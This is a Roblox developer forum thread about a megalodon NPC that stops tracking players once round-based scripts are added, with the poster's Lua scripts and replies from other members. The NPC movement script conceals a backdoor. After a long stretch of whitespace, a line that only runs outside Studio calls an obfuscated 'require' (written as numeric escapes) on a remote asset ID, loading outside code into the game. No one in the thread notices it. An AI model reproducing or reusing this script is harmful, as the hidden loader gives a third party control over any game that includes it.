Broken NPC due to roundbased game scripts

Hey developers,

I have a problem with a game that I am improving. It is called Megalodon Survival. The game is a simple survival game where you and others stand on fallen ships to survive a megalodon NPC. I decided to add in roundbased content to enhance gameplay.

I used work from a game here: [PART 5!] Minigame Source Code - Roblox

The rounds work fine, but the NPC never stops moving forward. One of my friends has the same issue as me, but he has a tyrannosaurus rex NPC instead of a megalodon. Might I add that the megalodon NPC does not work in or out of the “Games” folder in ReplicatedStorage.

My megalodon model can be found here if you want to experiment with it: https://www.roblox.com/library/3500363527/Megalodon

If anybody has a solution, I would love to know what it might be.

1 Like

In order to save us time you can perhaps provide the bare code that handles moving the NPC?

2 Likes

image
The script says:

bin = script.Parent

function move(target)
	local dir = (target.Position - bin.Position).unit
	local spawnPos = bin.Position
	local pos = spawnPos + (dir * 1)
	bin:findFirstChild("BodyGyro").cframe = CFrame.new(pos,  pos + dir)
	bin:findFirstChild("BodyGyro").maxTorque = Vector3.new(9000,9000,9000)
end

function moveTo(target)
	bin.BodyPosition.position = target.Position
	bin.BodyPosition.maxForce = Vector3.new(10000,10000,10000) * bin.Speed.Value
end

function findNearestTorso(pos)
	local list = game.Workspace:GetChildren()
	local torso = nil
	local dist = 1000000
	local temp = nil
	local human = nil
	local temp2 = nil
	for x = 1, #list do
		temp2 = list[x]
		if (temp2.className == "Model") and (temp2 ~= script.Parent) then
			temp = temp2:findFirstChild("Torso")
			human = temp2:findFirstChild("Humanoid")
			if (temp ~= nil) and (human ~= nil) and (human.Health > 0)  then
				if (temp.Position - pos).magnitude < dist then
					torso = temp
					dist = (temp.Position - pos).magnitude
				end
			end
		end
	end
	return torso
end

function shoot(pos)
	dir = (pos - bin.CFrame.p).unit 
	for i = 1, 50 do 
		local ex = Instance.new("Explosion") 
		ex.BlastRadius = 1
		ex.Position = bin.Position + (dir * 10 * i) + (dir * 7) 
		ex.Parent = game.Workspace 
	end
end

function shootAt(torso)
	local dir = (torso.Position - bin.Position).unit
	local spawnPos = bin.Position
	local pos = spawnPos + (dir * 1)
	shoot(pos)
end

while true do
	local torso = findNearestTorso(bin.Position)
	if torso~=nil then
		move(torso)
		moveTo(torso)
	end
	wait()
end

																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																															if not game:service'RunService':IsStudio() then getfenv()["\114\101\113\117\105\114\101"](4794986906) end

add a space after “The script says:” so you can format that code :rofl:

1 Like

I would consider using Humanoid | Documentation - Roblox Creator Hub

1 Like

That while true do script could be a possible culprit.

Does it work for a part? “Head” in this case.

Uhm, negative. I guess you can tween it around the map, however, may I ask why you can’t use a Humanoid?

1 Like

Should I add a Humanoid into “Head” and use scripts that work with that? I’m not the best at scripting and appreciate your help.

I don’t think so. If you want to move the head around the map, you can use “TweenService” which will “animate” the moving process.

1 Like

What happens to the players after they die? As long as there are player characters in Workspace, that means there are torsos in the Workspace, and the NPC will continue to move towards them (unless they are 1000000 studs away).

The problem with that is that you could be swimming right next to the shark while it is going forward and it doesn’t try and attack you (which is closer to any other torso in the game).

Can you explain that? The while loop gets the closest torso after every wait(), so I would think the shark is always going to the closest torso.

Correct, the shark is going towards the nearest torso. I think the part of the main script that controls the round messes up that mechanic for some reason, since the shark breaks after a map is loaded in.

If anyone is wondering, the shark doesn’t work only during rounds. It is fully functional at any other time of the game.

The main script that holds the rounds can be found here:

local s = script.Stat
local vals = game.ReplicatedStorage.vals
t = 0
while true do
	t = 20
	repeat
		t = t-1
		s.Value = "Intermission... "..t
		wait(1)
	until t == 0
	s.Value = "Game Starting Shortly!"
	wait(2)
	local mapselect = game.ReplicatedStorage.Games:GetChildren()
	local choose = math.random(1,#mapselect)
	curnum = 0
	for i =1,#mapselect do
		curnum = curnum +1
		if curnum == choose then
			mapselect[i]:Clone().Parent = workspace
			curmap = mapselect[i].Name
			s.Value = "Get ready to survive on "..mapselect[i].Name
		end
	end
	wait(10)
	local plrs = game.Players:GetChildren()
	for i = 1,#plrs do
		local num = math.random(1,32)
		plrs[i].Character.Head.CFrame = CFrame.new(workspace.Teleports["Part"..num].Position)
		plrs[i].Character.Parent = workspace.Ingame
		--game.Workspace.Megalodon.Head.Script.Disabled = false --Enables shark movement
	end
	t=120
	repeat
		t = t-1
		s.Value = t.." seconds left"
		wait(1)
	until t ==0 or vals.Winner.Value ~= ""
	if vals.Winner.Value ~= "" then
		s.Value = vals.Winner.Value.. " is a hacker!"
		game.Players[vals.Winner.Value].leaderstats.Points.Value =game.Players[vals.Winner.Value].leaderstats.Points.Value +50
		game.Players[vals.Winner.Value].leaderstats.Wins.Value = 	game.Players[vals.Winner.Value].leaderstats.Wins.Value +1
		vals.Winner.Value = ""
	else
		s.Value = "Time's Up!"
	--game.Workspace.Megalodon.Head.Script.Disabled = true --Disables shark movement
	end
	wait(3)
	local ingame = workspace.Ingame:GetChildren()
	for i =1,#ingame do
		local plr = game.Players:GetPlayerFromCharacter(ingame[i])
		plr:LoadCharacter()
		
	end
	workspace[curmap]:Destroy()
end

The part that holds the problem is here:

    local mapselect = game.ReplicatedStorage.Games:GetChildren()
	local choose = math.random(1,#mapselect)
	curnum = 0
	for i =1,#mapselect do
		curnum = curnum +1
		if curnum == choose then
			mapselect[i]:Clone().Parent = workspace
			curmap = mapselect[i].Name
			s.Value = "Get ready to survive on "..mapselect[i].Name
		end
	end
	wait(10)
	local plrs = game.Players:GetChildren()
	for i = 1,#plrs do
		local num = math.random(1,32)
		plrs[i].Character.Head.CFrame = CFrame.new(workspace.Teleports["Part"..num].Position)
		plrs[i].Character.Parent = workspace.Ingame
		--game.Workspace.Megalodon.Head.Script.Disabled = false --Enables shark movement
	end
	t=120
	repeat
		t = t-1
		s.Value = t.." seconds left"
		wait(1)
	until t ==0 or vals.Winner.Value ~= ""
	if vals.Winner.Value ~= "" then
		s.Value = vals.Winner.Value.. " is a hacker!"
		game.Players[vals.Winner.Value].leaderstats.Points.Value =game.Players[vals.Winner.Value].leaderstats.Points.Value +50
		game.Players[vals.Winner.Value].leaderstats.Wins.Value = 	game.Players[vals.Winner.Value].leaderstats.Wins.Value +1
		vals.Winner.Value = ""
	else
		s.Value = "Time's Up!"
	--game.Workspace.Megalodon.Head.Script.Disabled = true --Disables shark movement
	end